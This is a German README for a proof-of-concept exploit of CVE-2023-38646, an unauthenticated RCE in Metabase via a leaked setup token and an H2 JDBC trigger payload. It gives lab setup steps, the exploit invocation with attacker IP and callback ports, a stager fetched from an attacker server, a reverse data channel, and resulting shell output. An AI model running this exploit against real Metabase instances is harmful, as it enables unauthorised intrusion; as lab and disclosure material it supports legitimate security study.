
Das Repository enthält den PoC und die Schritte zur Reproduktion von cve 2023-38646
cd ~/metabase-poc cat > README.md << 'EOF'
CVSS 9.8. Metabase-Versionen vor 0.46.6.1 / 1.46.6.1 (und entsprechende ältere Zweige) legen eine RCE ohne Authentifizierung über den Endpunkt /api/setup/validate offen, der dazu gedacht ist, Datenbankverbindungsdetails während der Ersteinrichtung zu validieren, aber auch nach abgeschlossener Einrichtung ohne Authentifizierung erreichbar ist.
Der Endpunkt akzeptiert eine Datenbankverbindungs-Payload und erlaubt, wenn engine: h2 mit einer manipulierten JDBC-Verbindungszeichenfolge angegeben wird, das Einbetten von beliebigem JavaScript über H2s CREATE TRIGGER ... AS $$//javascript-Syntax. Der Triggerkörper wird zum Validierungszeitpunkt ausgeführt und gibt dem Angreifer JavaScript-Ausführung innerhalb der JVM – was trivial zu Betriebssystembefehlsausführung via java.lang.Runtime.getRuntime().exec() eskaliert.
Das zugrundeliegende Problem ist, dass die H2-Datenbank-Engine in die Verbindungszeichenfolge eingebetteten Code als Teil der "Validierung" einer Datenquelle vertraut, kombiniert damit, dass Metabase diesen Validierungspfad vor der Authentifizierung bereitstellt.
metabase/metabase:v0.46.6 Docker-Imagerequests, termcolorVulnerable Metabase ausführen:
docker run -d -p 3000:3000 --name metabase metabase/metabase:v0.46.6
docker logs -f metabase # warten auf "Metabase Initialization COMPLETE"
Abhängigkeiten für den Exploit installieren:
pip3 install requests termcolor
/api/session/properties gibt ein setup-token preis, das den einmaligen Ersteinrichtungsablauf abschirmen soll, aber auch nach Abschluss der Einrichtung gültig und verwendbar bleibt.java.lang.Runtime.getRuntime().exec(), um einen Bash-Stager vom HTTP-Server des Angreifers abzurufen und die Befehlsausgabe base64-kodiert über einen rohen TCP-Listener zurückzuleiten.python3 51797.py -l <attacker_ip> -p 4444 -P 8000 -u http://localhost:3000
-l — IP des Angreifer-Rückrufs (Docker-Bridge-Gateway, wenn das Ziel ein lokaler Container ist, z. B. 172.17.0.1)-p — Port, über den der umgekehrte Datenkanal zurückverbindet-P — lokaler HTTP-Server-Port, der das Stager-Skript bereitstellt-u — Ziel-Metabase-Basis-URLWechselt in eine interaktive metabase_shell >-Eingabeaufforderung, sobald der Pre-Auth-Rückruf die Ausnutzbarkeit bestätigt.
metabase_shell > whoami metabase metabase_shell > id uid=2000(metabase) gid=2000(metabase) groups=2000(metabase),2000(metabase)
Befehlsausführung als Dienstkonto metabase bestätigt — ohne Authentifizierung, keine Anmeldeinformationen erforderlich. Der Schweregrad ergibt sich aus der netzwerkerreichbaren RCE ohne Authentifizierung, nicht aus der Berechtigungsstufe der resultierenden Shell.
Gepatcht in Metabase 0.46.6.1 / 1.46.6.1 und später — der Endpunkt /api/setup/validate erfordert jetzt, dass die Einrichtung tatsächlich unvollständig ist, und Setup-Token werden ungültig, sobald die Ersteinrichtung abgeschlossen ist.
Nur für isolierte Labornutzung. Nicht gegen Metabase-Instanzen ausführen, die Sie nicht besitzen oder für deren Test Sie keine ausdrückliche Genehmigung haben.